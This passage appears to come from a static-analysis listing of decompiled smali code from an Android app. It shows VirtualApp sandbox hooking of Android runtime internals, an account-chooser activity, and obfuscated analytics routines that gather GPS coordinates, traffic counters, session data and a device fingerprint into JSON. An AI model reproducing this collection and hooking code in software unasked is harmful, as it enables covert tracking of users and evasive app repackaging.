                              282iput-object v0, p0, Lcom/lody/virtual/client/VClientImpl;->mInitialApplication:Landroid/app/Application;
                              284sget-object v0, Lmirror/android/app/ActivityThread;->mInitialApplication:Lmirror/RefObject;
                              286iget-object v4, p0, Lcom/lody/virtual/client/VClientImpl;->mInitialApplication:Landroid/app/Application;
                              288invoke-virtual {v0, v2, v4}, Lmirror/RefObject;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                              290iget-object v0, p0, Lcom/lody/virtual/client/VClientImpl;->mInitialApplication:Landroid/app/Application;
                              292invoke-static {v0}, Lcom/lody/virtual/client/fixer/ContextFixer;->fixContext(Landroid/content/Context;)V
                              294iget-object v0, v1, Lcom/lody/virtual/client/VClientImpl$AppBindData;->providers:Ljava/util/List;
                              295if-eqz v0, :cond_1a6
                              297iget-object v0, p0, Lcom/lody/virtual/client/VClientImpl;->mInitialApplication:Landroid/app/Application;
                              299iget-object v1, v1, Lcom/lody/virtual/client/VClientImpl$AppBindData;->providers:Ljava/util/List;
                              301invoke-direct {p0, v0, v1}, Lcom/lody/virtual/client/VClientImpl;->installContentProviders(Landroid/content/Context;Ljava/util/List;)V
                              302cond_1a6: if-eqz p3, :cond_1ad
                              304invoke-virtual {p3}, Landroid/os/ConditionVariable;->open()V
                              305iput-object v9, p0, Lcom/lody/virtual/client/VClientImpl;->mTempLock:Landroid/os/ConditionVariable;
                              306cond_1ad:
                              307iget-object v0, p0, Lcom/lody/virtual/client/VClientImpl;->mInstrumentation:Landroid/app/Instrumentation;
                              309iget-object v1, p0, Lcom/lody/virtual/client/VClientImpl;->mInitialApplication:Landroid/app/Application;
                              311invoke-virtual {v0, v1}, Landroid/app/Instrumentation;->callApplicationOnCreate(Landroid/app/Application;)V
                              313invoke-static {}, Lcom/lody/virtual/client/core/InvocationStubManager;->getInstance()Lcom/lody/virtual/client/core/InvocationStubManager;
                              314move-result-object v0
                              315const-class v1, Lcom/lody/virtual/client/hook/proxies/am/HCallbackStub;
                              317invoke-virtual {v0, v1}, Lcom/lody/virtual/client/core/InvocationStubManager;->checkEnv(Ljava/lang/Class;)V
                              318if-eqz v3, :cond_1c8
                              320invoke-static {}, Lcom/lody/virtual/client/core/InvocationStubManager;->getInstance()Lcom/lody/virtual/client/core/InvocationStubManager;
                              321move-result-object v0
                              322const-class v1, Lcom/lody/virtual/client/hook/delegate/AppInstrumentation;
                              324invoke-virtual {v0, v1}, Lcom/lody/virtual/client/core/InvocationStubManager;->checkEnv(Ljava/lang/Class;)V
                              325cond_1c8:
                              326sget-object v0, Lmirror/android/app/ActivityThread;->mInitialApplication:Lmirror/RefObject;
                              328invoke-virtual {v0, v2}, Lmirror/RefObject;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              329move-result-object v0
                              330check-cast v0, Landroid/app/Application;
                              331if-eqz v0, :cond_1d4
                              332iput-object v0, p0, Lcom/lody/virtual/client/VClientImpl;->mInitialApplication:Landroid/app/Application;
                              333cond_1d4:
                              334invoke-static {}, Lcom/lody/virtual/client/ipc/VActivityManager;->get()Lcom/lody/virtual/client/ipc/VActivityManager;
                              335move-result-object v0
                              337invoke-virtual {v0}, Lcom/lody/virtual/client/ipc/VActivityManager;->appDoneExecuting()V
                              338return-void
                              339catch_1dc: move-exception v0
                              341invoke-virtual {v0}, Ljava/lang/Throwable;->printStackTrace()V
                              342goto/16 :goto_f
                              343catch_1e2: move-exception v0
                              345invoke-virtual {v0}, Ljava/lang/Throwable;->printStackTrace()V
                              346goto/16 :goto_12
                              347cond_1e8:
                              348invoke-static {}, Lcom/taobao/android/runtime/DalvikUtils;->init()Z
                              350invoke-static {v8}, Lcom/taobao/android/runtime/DalvikUtils;->setDexOptMode(I)Ljava/lang/Boolean;
                              351goto/16 :goto_5f
                              352cond_1f0:
                              353invoke-virtual {v3}, Landroid/content/Context;->getCacheDir()Ljava/io/File;
                              354move-result-object v0
                              355goto/16 :goto_115
                              356cond_1f6:
                              357sget-object v4, Lmirror/android/view/ThreadedRenderer;->setupDiskCache:Lmirror/RefStaticMethod;
                              358if-eqz v4, :cond_128
                              360sget-object v4, Lmirror/android/view/ThreadedRenderer;->setupDiskCache:Lmirror/RefStaticMethod;
                              361new-array v5, v8, [Ljava/lang/Object;
                              362aput-object v0, v5, v7
                              364invoke-virtual {v4, v5}, Lmirror/RefStaticMethod;->call([Ljava/lang/Object;)Ljava/lang/Object;
                              365goto/16 :goto_128
                              366cond_205: sget v4, Landroid/os/Build$VERSION;->SDK_INT:I
                              367const/16 v5, 0x10
                              368if-lt v4, v5, :cond_139
                              370sget-object v4, Lmirror/android/view/RenderScript;->setupDiskCache:Lmirror/RefStaticMethod;
                              371if-eqz v4, :cond_139
                              373sget-object v4, Lmirror/android/view/RenderScript;->setupDiskCache:Lmirror/RefStaticMethod;
                              374new-array v5, v8, [Ljava/lang/Object;
                              375aput-object v0, v5, v7
                              377invoke-virtual {v4, v5}, Lmirror/RefStaticMethod;->call([Ljava/lang/Object;)Ljava/lang/Object;
                              378goto/16 :goto_139
                              379catch_21a: move-exception v0
                              381iget-object v1, p0, Lcom/lody/virtual/client/VClientImpl;->mInstrumentation:Landroid/app/Instrumentation;
                              383iget-object v2, p0, Lcom/lody/virtual/client/VClientImpl;->mInitialApplication:Landroid/app/Application;
                              385invoke-virtual {v1, v2, v0}, Landroid/app/Instrumentation;->onException(Ljava/lang/Object;Ljava/lang/Throwable;)Z
                              386move-result v1
                              387if-nez v1, :cond_1d4
                              389invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                              390goto/16 :goto_1d4
                              Cross References
                              APIs
                              • android.content.SharedPreferences.getString
                              • android.content.SharedPreferences.getLong
                              • android.content.SharedPreferences.getLong
                              • java.lang.Math.abs
                              • org.json.JSONObject.<init>
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.<init>
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • java.lang.System.currentTimeMillis
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • java.lang.Class.forName
                              • java.lang.Integer.TYPE:Ljava/lang/Class
                              • java.lang.Class.getMethod
                              • java.lang.Integer.TYPE:Ljava/lang/Class
                              • java.lang.Class.getMethod
                              • android.content.Context.getApplicationInfo
                              • java.lang.Integer.valueOf
                              • java.lang.reflect.Method.invoke
                              • java.lang.Long.longValue
                              • java.lang.Integer.valueOf
                              • java.lang.reflect.Method.invoke
                              • java.lang.Long.longValue
                              • b.a.cx$a.e:Lb/a/cx$a
                              • org.json.JSONObject.<init>
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              Strings
                              • session_id
                              • session_start_time
                              • session_end_time
                              • __ii
                              • __e
                              • __f
                              • lat
                              • lng
                              • ts
                              • __d
                              • android.net.TrafficStats
                              • getUidRxBytes
                              • getUidTxBytes
                              • download_traffic
                              • upload_traffic
                              • __c
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-static {p1}, Lb/a/aa;->a(Landroid/content/Context;)Landroid/content/SharedPreferences;
                              3move-result-object v1
                              5const-string v0, "session_id"
                              6const/4 v2, 0x0
                              8invoke-interface {v1, v0, v2}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              9move-result-object v2
                              10if-nez v2, :cond_f
                              11const/4 v0, 0x0
                              12goto_e: return v0
                              13cond_f:
                              14const-string v0, "session_start_time"
                              15const-wide/16 v4, 0x0
                              17invoke-interface {v1, v0, v4, v5}, Landroid/content/SharedPreferences;->getLong(Ljava/lang/String;J)J
                              18move-result-wide v4
                              20const-string v0, "session_end_time"
                              21const-wide/16 v6, 0x0
                              23invoke-interface {v1, v0, v6, v7}, Landroid/content/SharedPreferences;->getLong(Ljava/lang/String;J)J
                              24move-result-wide v6
                              25const-wide/16 v8, 0x0
                              26cmp-long v0, v6, v8
                              27if-eqz v0, :cond_32
                              28sub-long v8, v6, v4
                              30invoke-static {v8, v9}, Ljava/lang/Math;->abs(J)J
                              31move-result-wide v8
                              32const-wide/32 v10, 0x5265c00
                              33cmp-long v0, v8, v10
                              34if-lez v0, :cond_32
                              35cond_32: new-instance v3, Lorg/json/JSONObject;
                              37invoke-direct {v3}, Lorg/json/JSONObject;-><init>()V
                              39const-string v0, "__ii"
                              41invoke-virtual {v3, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              43const-string v0, "__e"
                              45invoke-virtual {v3, v0, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;J)Lorg/json/JSONObject;
                              47const-string v0, "__f"
                              49invoke-virtual {v3, v0, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;J)Lorg/json/JSONObject;
                              51invoke-static {}, Lcom/a/a/a;->a()[D
                              52move-result-object v0
                              53if-eqz v0, :cond_6f
                              54new-instance v4, Lorg/json/JSONObject;
                              56invoke-direct {v4}, Lorg/json/JSONObject;-><init>()V
                              58const-string v5, "lat"
                              59const/4 v6, 0x0
                              60aget-wide v6, v0, v6
                              62invoke-virtual {v4, v5, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;D)Lorg/json/JSONObject;
                              64const-string v5, "lng"
                              65const/4 v6, 0x1
                              66aget-wide v6, v0, v6
                              68invoke-virtual {v4, v5, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;D)Lorg/json/JSONObject;
                              70const-string v0, "ts"
                              72invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                              73move-result-wide v6
                              75invoke-virtual {v4, v0, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;J)Lorg/json/JSONObject;
                              77const-string v0, "__d"
                              79invoke-virtual {v3, v0, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              80cond_6f:
                              81const-string v0, "android.net.TrafficStats"
                              83invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                              84move-result-object v0
                              86const-string v4, "getUidRxBytes"
                              87const/4 v5, 0x1
                              88new-array v5, v5, [Ljava/lang/Class;
                              89const/4 v6, 0x0
                              91sget-object v7, Ljava/lang/Integer;->TYPE:Ljava/lang/Class;
                              92aput-object v7, v5, v6
                              94invoke-virtual {v0, v4, v5}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              95move-result-object v4
                              97const-string v5, "getUidTxBytes"
                              98const/4 v6, 0x1
                              99new-array v6, v6, [Ljava/lang/Class;
                              100const/4 v7, 0x0
                              102sget-object v8, Ljava/lang/Integer;->TYPE:Ljava/lang/Class;
                              103aput-object v8, v6, v7
                              105invoke-virtual {v0, v5, v6}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              106move-result-object v5
                              108invoke-virtual {p1}, Landroid/content/Context;->getApplicationInfo()Landroid/content/pm/ApplicationInfo;
                              109move-result-object v0
                              110iget v6, v0, Landroid/content/pm/ApplicationInfo;->uid:I
                              111const/4 v0, -0x1
                              112if-ne v6, v0, :cond_9d
                              113const/4 v0, 0x0
                              114goto/16 :goto_e
                              115cond_9d: const/4 v0, 0x0
                              116const/4 v7, 0x1
                              117new-array v7, v7, [Ljava/lang/Object;
                              118const/4 v8, 0x0
                              120invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              121move-result-object v9
                              122aput-object v9, v7, v8
                              124invoke-virtual {v4, v0, v7}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              125move-result-object v0
                              126check-cast v0, Ljava/lang/Long;
                              128invoke-virtual {v0}, Ljava/lang/Long;->longValue()J
                              129move-result-wide v8
                              130const/4 v0, 0x0
                              131const/4 v4, 0x1
                              132new-array v4, v4, [Ljava/lang/Object;
                              133const/4 v7, 0x0
                              135invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              136move-result-object v6
                              137aput-object v6, v4, v7
                              139invoke-virtual {v5, v0, v4}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              140move-result-object v0
                              141check-cast v0, Ljava/lang/Long;
                              143invoke-virtual {v0}, Ljava/lang/Long;->longValue()J
                              144move-result-wide v4
                              145const-wide/16 v6, 0x0
                              146cmp-long v0, v8, v6
                              147if-lez v0, :cond_d3
                              148const-wide/16 v6, 0x0
                              149cmp-long v0, v4, v6
                              150if-gtz v0, :cond_ec
                              151goto_d3:
                              152invoke-static {p1}, Lb/a/cx;->a(Landroid/content/Context;)Lb/a/cx;
                              153move-result-object v0
                              155sget-object v4, Lb/a/cx$a;->e:Lb/a/cx$a;
                              157invoke-virtual {v0, v2, v3, v4}, Lb/a/cx;->a(Ljava/lang/String;Lorg/json/JSONObject;Lb/a/cx$a;)Z
                              159sget-object v0, Lb/a/ad;->d:Landroid/content/Context;
                              161invoke-static {v0}, Lb/a/af;->a(Landroid/content/Context;)V
                              163sget-object v0, Lb/a/ad;->d:Landroid/content/Context;
                              165invoke-static {v0}, Lb/a/p;->b(Landroid/content/Context;)V
                              167invoke-direct {p0, v1}, Lb/a/ad;->a(Landroid/content/SharedPreferences;)V
                              168const/4 v0, 0x1
                              169goto/16 :goto_e
                              170cond_ec: new-instance v0, Lorg/json/JSONObject;
                              172invoke-direct {v0}, Lorg/json/JSONObject;-><init>()V
                              174const-string v6, "download_traffic"
                              176invoke-virtual {v0, v6, v8, v9}, Lorg/json/JSONObject;->put(Ljava/lang/String;J)Lorg/json/JSONObject;
                              178const-string v6, "upload_traffic"
                              180invoke-virtual {v0, v6, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;J)Lorg/json/JSONObject;
                              182const-string v4, "__c"
                              184invoke-virtual {v3, v4, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              185try_end_100: goto/16 :goto_d3
                              186catch_101: move-exception v0
                              187const/4 v0, 0x0
                              188goto/16 :goto_e
                              APIs
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.getIntent
                              • android.os.Bundle.getInt
                              • android.os.Bundle.getParcelableArray
                              • android.os.Bundle.getString
                              • android.os.Bundle.getBoolean
                              • android.os.Bundle.getParcelableArrayList
                              • android.os.Bundle.getInt
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.mSelectedAccountName:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.getAllowableAccountSet
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.getReleventAccountTypes
                              • android.content.Intent.getStringExtra
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.getAcceptableAccountChoices
                              • android.app.Activity.onCreate
                              • android.content.Intent.getIntExtra
                              • android.content.Intent.getParcelableExtra
                              • android.accounts.Account.name:Ljava/lang/String
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.mAccounts:Ljava/util/ArrayList
                              • java.util.ArrayList.isEmpty
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.setNonLabelThemeAndCallSuperCreate
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.mSetOfRelevantAccountTypes:Ljava/util/Set
                              • java.util.Set.size
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.mSetOfRelevantAccountTypes:Ljava/util/Set
                              • java.util.Set.iterator
                              • java.util.Iterator.next
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.runAddAccountForAuthenticator
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.mAccounts:Ljava/util/ArrayList
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.getListOfDisplayableOptions
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.mAccounts:Ljava/util/ArrayList
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.mSelectedAccountName:Ljava/lang/String
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.getItemIndexToSelect
                              • android.app.Activity.onCreate
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.setContentView
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.mDescriptionOverride:Ljava/lang/String
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.overrideDescriptionIfSupplied
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.populateUIAccountList
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.findViewById
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.mOkButton:Landroid/widget/Button
                              • android.widget.Button.setEnabled
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.startChooseAccountTypeActivity
                              Strings
                              • pendingRequest
                              • existingAccounts
                              • selectedAccountName
                              • selectedAddAccount
                              • accountList
                              • userId
                              • AccountChooser
                              • selected account name is
                              • descriptionTextOverride
                              • selectedAccount
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x1
                              2const/4 v6, -0x1
                              3const/4 v2, 0x0
                              5invoke-virtual {p0}, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->getIntent()Landroid/content/Intent;
                              6move-result-object v3
                              7if-eqz p1, :cond_7b
                              9const-string v0, "pendingRequest"
                              11invoke-virtual {p1, v0}, Landroid/os/Bundle;->getInt(Ljava/lang/String;)I
                              12move-result v0
                              13iput v0, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mPendingRequest:I
                              15const-string v0, "existingAccounts"
                              17invoke-virtual {p1, v0}, Landroid/os/Bundle;->getParcelableArray(Ljava/lang/String;)[Landroid/os/Parcelable;
                              18move-result-object v0
                              19iput-object v0, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mExistingAccounts:[Landroid/os/Parcelable;
                              21const-string v0, "selectedAccountName"
                              23invoke-virtual {p1, v0}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
                              24move-result-object v0
                              25iput-object v0, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mSelectedAccountName:Ljava/lang/String;
                              27const-string v0, "selectedAddAccount"
                              29invoke-virtual {p1, v0, v2}, Landroid/os/Bundle;->getBoolean(Ljava/lang/String;Z)Z
                              30move-result v0
                              31iput-boolean v0, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mSelectedAddNewAccount:Z
                              33const-string v0, "accountList"
                              35invoke-virtual {p1, v0}, Landroid/os/Bundle;->getParcelableArrayList(Ljava/lang/String;)Ljava/util/ArrayList;
                              36move-result-object v0
                              37iput-object v0, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mAccounts:Ljava/util/ArrayList;
                              39const-string v0, "userId"
                              41invoke-virtual {p1, v0}, Landroid/os/Bundle;->getInt(Ljava/lang/String;)I
                              42move-result v0
                              43iput v0, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mCallingUserId:I
                              44cond_39:
                              45const-string v0, "AccountChooser"
                              46new-instance v4, Ljava/lang/StringBuilder;
                              48invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                              50const-string v5, "selected account name is "
                              52invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              53move-result-object v4
                              55iget-object v5, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mSelectedAccountName:Ljava/lang/String;
                              57invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              58move-result-object v4
                              60invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              61move-result-object v4
                              62new-array v5, v2, [Ljava/lang/Object;
                              64invoke-static {v0, v4, v5}, Lcom/lody/virtual/helper/utils/VLog;->v(Ljava/lang/String;Ljava/lang/String;[Ljava/lang/Object;)V
                              66invoke-direct {p0, v3}, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->getAllowableAccountSet(Landroid/content/Intent;)Ljava/util/Set;
                              67move-result-object v0
                              68iput-object v0, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mSetOfAllowableAccounts:Ljava/util/Set;
                              70invoke-direct {p0, v3}, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->getReleventAccountTypes(Landroid/content/Intent;)Ljava/util/Set;
                              71move-result-object v0
                              72iput-object v0, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mSetOfRelevantAccountTypes:Ljava/util/Set;
                              74const-string v0, "descriptionTextOverride"
                              76invoke-virtual {v3, v0}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
                              77move-result-object v0
                              78iput-object v0, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mDescriptionOverride:Ljava/lang/String;
                              80invoke-static {}, Lcom/lody/virtual/client/ipc/VAccountManager;->get()Lcom/lody/virtual/client/ipc/VAccountManager;
                              81move-result-object v0
                              83invoke-direct {p0, v0}, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->getAcceptableAccountChoices(Lcom/lody/virtual/client/ipc/VAccountManager;)Ljava/util/ArrayList;
                              84move-result-object v0
                              85iput-object v0, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mAccounts:Ljava/util/ArrayList;
                              86iget-boolean v0, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mDontShowPicker:Z
                              87if-eqz v0, :cond_97
                              89invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
                              90goto_7a: return-void
                              91cond_7b: iput v2, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mPendingRequest:I
                              92const/4 v0, 0x0
                              93iput-object v0, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mExistingAccounts:[Landroid/os/Parcelable;
                              95const-string v0, "userId"
                              97invoke-virtual {v3, v0, v6}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
                              98move-result v0
                              99iput v0, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mCallingUserId:I
                              101const-string v0, "selectedAccount"
                              103invoke-virtual {v3, v0}, Landroid/content/Intent;->getParcelableExtra(Ljava/lang/String;)Landroid/os/Parcelable;
                              104move-result-object v0
                              105check-cast v0, Landroid/accounts/Account;
                              106if-eqz v0, :cond_39
                              108iget-object v0, v0, Landroid/accounts/Account;->name:Ljava/lang/String;
                              109iput-object v0, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mSelectedAccountName:Ljava/lang/String;
                              110goto/16 :goto_39
                              111cond_97: iget v0, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mPendingRequest:I
                              112if-nez v0, :cond_bd
                              114iget-object v0, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mAccounts:Ljava/util/ArrayList;
                              116invoke-virtual {v0}, Ljava/util/ArrayList;->isEmpty()Z
                              117move-result v0
                              118if-eqz v0, :cond_bd
                              120invoke-direct {p0, p1}, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->setNonLabelThemeAndCallSuperCreate(Landroid/os/Bundle;)V
                              122iget-object v0, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mSetOfRelevantAccountTypes:Ljava/util/Set;
                              124invoke-interface {v0}, Ljava/util/Set;->size()I
                              125move-result v0
                              126if-ne v0, v1, :cond_f5
                              128iget-object v0, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mSetOfRelevantAccountTypes:Ljava/util/Set;
                              130invoke-interface {v0}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                              131move-result-object v0
                              133invoke-interface {v0}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              134move-result-object v0
                              135check-cast v0, Ljava/lang/String;
                              137invoke-virtual {p0, v0}, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->runAddAccountForAuthenticator(Ljava/lang/String;)V
                              138goto_bd:
                              139iget-object v0, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mAccounts:Ljava/util/ArrayList;
                              141invoke-direct {p0, v0}, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->getListOfDisplayableOptions(Ljava/util/ArrayList;)[Ljava/lang/String;
                              142move-result-object v0
                              144iget-object v3, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mAccounts:Ljava/util/ArrayList;
                              146iget-object v4, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mSelectedAccountName:Ljava/lang/String;
                              147iget-boolean v5, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mSelectedAddNewAccount:Z
                              149invoke-direct {p0, v3, v4, v5}, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->getItemIndexToSelect(Ljava/util/ArrayList;Ljava/lang/String;Z)I
                              150move-result v3
                              151iput v3, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mSelectedItemIndex:I
                              153invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
                              154sget v3, Lcom/lody/virtual/R$layout;->choose_type_and_account:I
                              156invoke-virtual {p0, v3}, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->setContentView(I)V
                              158iget-object v3, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mDescriptionOverride:Ljava/lang/String;
                              160invoke-direct {p0, v3}, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->overrideDescriptionIfSupplied(Ljava/lang/String;)V
                              162invoke-direct {p0, v0}, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->populateUIAccountList([Ljava/lang/String;)V
                              163const v0, 0x102001a
                              165invoke-virtual {p0, v0}, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->findViewById(I)Landroid/view/View;
                              166move-result-object v0
                              167check-cast v0, Landroid/widget/Button;
                              168iput-object v0, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mOkButton:Landroid/widget/Button;
                              170iget-object v3, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mOkButton:Landroid/widget/Button;
                              171iget v0, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mSelectedItemIndex:I
                              172if-eq v0, v6, :cond_f9
                              173move v0, v1
                              174goto_f1:
                              175invoke-virtual {v3, v0}, Landroid/widget/Button;->setEnabled(Z)V
                              176goto/16 :goto_7a
                              177cond_f5:
                              178invoke-direct {p0}, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->startChooseAccountTypeActivity()V
                              179goto/16 :goto_bd
                              180cond_f9: move v0, v2
                              181goto/16 :goto_f1
                              Cross References
                              APIs
                              • java.lang.String.valueOf
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • android.os.Build.MANUFACTURER:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.String.valueOf
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • android.os.Build.MODEL:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.String.valueOf
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • android.os.Build.BOARD:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.String.valueOf
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • android.os.Build.BRAND:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.String.valueOf
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • android.os.Build.DEVICE:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.String.valueOf
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • android.os.Build.HARDWARE:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.String.valueOf
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • android.os.Build.PRODUCT:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              Strings
                              • android
                              • ;MANUFACTURER/
                              • ;MODEL/
                              • ;BOARD/
                              • ;BRAND/
                              • ;DEVICE/
                              • ;HARDWARE/
                              • ;PRODUCT/
                              Position Instruction Meta Information
                              0.prologue
                              2const-string v0, "android"
                              3new-instance v1, Ljava/lang/StringBuilder;
                              5invoke-static {v0}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                              6move-result-object v0
                              8invoke-direct {v1, v0}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                              10const-string v0, ";MANUFACTURER/"
                              12invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              13move-result-object v0
                              15sget-object v1, Landroid/os/Build;->MANUFACTURER:Ljava/lang/String;
                              17invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
